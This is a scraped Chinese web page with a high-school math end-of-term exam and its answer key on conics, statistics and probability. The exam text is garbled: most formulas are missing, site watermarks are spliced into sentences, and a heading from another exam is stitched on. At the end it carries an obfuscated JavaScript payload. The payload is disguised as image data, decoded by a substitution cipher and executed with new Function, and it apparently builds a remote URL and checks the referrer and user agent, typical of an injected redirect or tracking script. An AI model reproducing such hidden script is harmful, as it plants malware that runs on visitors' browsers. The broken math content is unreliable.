长春市十一高中2010-2011学年度高二下学期期末考试 数 学 试 题(理) 本试卷分第Ⅰ卷(选择题)
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LZ您好 这个希望对你有帮助。
2009-2010年度第一学期期末调研考试
高二数学(文科)试卷
(满分160分,考试时间120分钟)
一、填空题 本大题共14小题,每小题5分,共70分. 把答案填写在答题卡相应位置.
1. 双曲线 的离心率是 ▲ .
2. 设复数 , ,则 等于 ▲ .
3. 三鹿婴幼儿奶粉事件发生后,质检总局紧急开展液态奶三聚氰胺的专项检查. 设 蒙牛、
伊利、光明三家公司生产的某批次液态奶分别是2400箱、3600箱和4000箱, 现从中
共抽取500箱进行检验,则这三家公司生产的液态奶被抽取的箱数依次为 ▲ .
4. 命题“ =0”的否定是 ▲ .
5. 将容量为100的样本数据分为8个组,如下表:
组号 1 2 3 4 5 6 7 8
频数 10 13 14 15 13 12 9
则第3组的频率为 ▲ .
6. 样本a1, a2, a3, …, a10的平均数为 ,样本b1, b2, b3, …, b20的平均数为 , 则
样本a1,a2,a3,…,a10, b1,b2,b3,…,b20的平均数为 ▲ (用 , 表示).
7. 根据如图所示的伪代码表示的算法,可得f(1)+f(4)= ▲ .
8. 从装有5只红球、5只白球的袋中任意取出3只球,有下
列事件:w.w.w.k.s.5.u.c.o.m
①“取出2只红球和1只白球”与“取出1只红球和2只白球”;
②“取出2只红球和1只白球”与“取出3只红球”;
③“取出3只红球”与“取出3只球中至少有1只白球”;
④“取出3只红球”与“取出3只白球”.
其中是对立事件的是 ▲ (写序号).
9. 按右图所示的程序框图操作,若将输出的数按照输出
的先后顺序排列,则得到数列 ,则数列 的
通项公式是 ▲ .
10. 在等腰直角三角形ABC中,过直角顶点C在
内部任意作一条射线CM,与线段AB交于点M,则
AM11. 已知方程 表示焦点在y轴上的椭圆,
则t的取值范围是 ▲ .
12. 如图所示,水波的半径以1m/s的速度向外扩张,
当半径为5m时,这水波面的圆面积的膨胀率是
▲ m2/s.
13. 以下是关于圆锥曲线的四个命题:
①设A、B为两个定点,k为非零常数,若PA-PB=k,则动点P的轨迹是双曲线;
②方程 的两根可分别作为椭圆和双曲线的离心率;
③双曲线 与椭圆 有相同的焦点;w.w.w.k.s.5.u.c.o.m
④以过抛物线的焦点的一条弦AB为直径作圆,则该圆与抛物线的准线相切.
其中真命题为 ▲ (写出所以真命题的序号).
14. 已知函数f(x)的定义域为 ,且 ,
的导函数,函数 的图象如图所示,
则在平面直角坐标系aOb中,平面区域
的面积是 ▲ .
二、解答题:本大题共6小题,共90分. 请将解答填写在答题卡规定的区域内,否则答题无效. 解答应写出文字说明、证明过程或演算步骤.
15. (本小题满分14分)
如图,一个抛物线形拱桥,当水面离拱顶4m时,水面宽8m.
(1)试建立坐标系,求抛物线的标准方程;
(2)若水面上升1m,求水面宽度.
16. (本小题满分14分)
已知总体的各个体的值由小到大依次为2,3,3,7,a,b,12,14,18,20,且总体
的中位数为10.5 (将一组数据按大小依次排列,把处在最中间位置的一个数据或最中间
两个数据的平均数叫做这组数据的中位数).高.考.资.源.网
(1)求该总体的平均数;高.考.资.源.网
(2)求a的值,使该总体的方差最小.
17. (本小题满分14分)
某射击运动员射击1次,命中10环、9环、8环、7环的概率分别为0.20,0.22,0.25,
0.28. 计算该运动员在1次射击中:w.w.w.k.s.5.u.c.o.m
(1)至少命中7环的概率;
(2)命中不足8环的概率.网
18. (本小题满分16分) w.w.w.k.s.5.u.c.o.m
如图,过点 的两直线与抛物线 相切于A、B两点, AD、BC
垂直于直线 ,垂足分别为D、C,求矩形ABCD面积的最大值.
19. (本小题满分16分)
已知 ,设命题p:在平面直角坐标系xOy中,方程 表示双曲线;
命题q:函数 在 上存在极值. 求使“p且q”
为真命题的m的取值范围.
20. (本小题满分16分)
已知抛物线、椭圆和双曲线都经过点 ,它们在y轴上有一个公共焦点,椭圆和
双曲线的对称轴是坐标轴,抛物线的顶点为坐标原点.
(1)求这三条曲线的方程;
(2)已知动直线l过点 ,交抛物线于 两点,是否存在垂直于y轴的直线 被
以AP为直径的圆截得的弦长为定值?若存在,求出 的方程;若不存在,说明理由.
高二(文科)数学参考答案及评分标准200901
一、 填空题(5分×14=70分)
1. 2 2. 5-i 3. 120,180,200
4. 5. 0.14 6.
7. 1 8. ③ 9.
10. 11. 12.
13. ②③④ 14. 4
二、解答题
15. (14分)
(1)如图建立坐标系,设抛物线的标准方程为 . -----------------------3分
由已知条件可知,点B的坐标是 ,代入方程,
得 ,即 . -----------------------6分
所以,所求抛物线标准方程是 -----------------------7分
(2)若水面上升1m,则 , -----------------------10分
代入 ,得 , . ----------------13分
所以这时水面宽为 m. --------------------14分
16.(14分)
(1)由题意得 , 即a+b=21. ---------------------2分
于是2+3+3+7+a+b+12+14+18+20=100, ---------------------4分
所以2,3,3,7,a,b,12,14,18,20的平均数为 . --------------------6分
(2)设2,3,3,7,a,b,12,14,18,20的方差为s2,则w.w.w.k.s.5.u.c.o.m
s2=
. ---------------------11分
故当 时,总体的方差s2取得最小值. -------------------14分
17.(14分)
记事件“射击1次,命中k环”为Ak( ,且 ),
则事件Ak彼此互斥. --------------------2分
(1)记“射击1次,至少命中7环”为事件A,那么当A10,A9,A8,A7之一发生时,事件A发生. 由互斥事件的概率加法公式,得
w.w.w.k.s.5.u.c.o.m
=0.20+0.22+0.25+0.28=0.95. ---------------------6分
(2)事件“射击1次,命中不足7环”是事件“射击1次,至少命中7环”的对立事件,即 表
示事件“射击1次,命中不足7环”. 根据对立事件的概率公式,得
-------------------9分
记事件“射击1次,命中不足8环”为B,那么 与A7之一发生,B发生,
而 与A7是互斥事件,于是 -------------12分
答:该运动员在1次射击中, 至少命中7环的概率为0.95;命中不足8环的概率为0.33.
----------------------14分
(第(2)小题若先计算事件“至少命中8环”的概率,在依对立事件的概率公式求解,参照评阅)
w.w.w.k.s.5.u.c.o.m
18. (16分)
设切点为 ,则 . -------------------1分
因为 ,所以切线方程为 , 即 ,----------3分
因为切线过点 ,所以 ,即 ,于是 .--------------5分
将 代入 得 . -------------------7分
(若设切线方程为 ,代入抛物线方程后由 得到切点坐标,亦予认可.)
所以 , --------------------9分
所以矩形面积为 , --------------10分
于是 . ---------------12分
所以当 时, ;当 时, ; ----------------14分
故当 时,S有最大值为 . ------------------16分
19.(16分)
命题p为真命题 . ---------------3分
对于函数 ,有 . -------------6分
函数 在 上存在极值
有两个不等实根w.w.w.k.s.5.u.c.o.m
---------------10分
于是命题q为真命题 . -----------------11分
所以“p且q”为真命题 命题p和q都是真命题 ------------------13分
-----------------15分
故使“p且q”为真命题的m的取值范围是 . --------------16分
20.(16分)
(1) 设抛物线方程为 ,将 代入方程得
所以抛物线方程为 . ------------------2分
由题意知, 椭圆、双曲线的焦点为 .
设椭圆的方程为 ,则由椭圆定义得
,w.w.w.k.s.5.u.c.o.m
于是 ,
所以椭圆的方程为 . -------------------5分
设双曲线的方程为 ,则由双曲线定义得
,
于是 ,
所以双曲线的方程为 . ----------------------8分
(2)设 ,则AP的中点C . --------------------9分设 的方程为 ,C到 的距离为h,以AP为直径的圆半径为r, 被圆截得的弦长为d.
则 ,
, ------------------12分
因为点 在抛物线 上,所以 . w.w.w.k.s.5.u.c.o.m
由 ,
得
--------------------14分
当a=2时,d2=8, . ----------------------15分
故存在直线 :y=2,它被以AP为直径的圆截得的弦长为定值(定值为 ). ----------------16分
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF 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Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();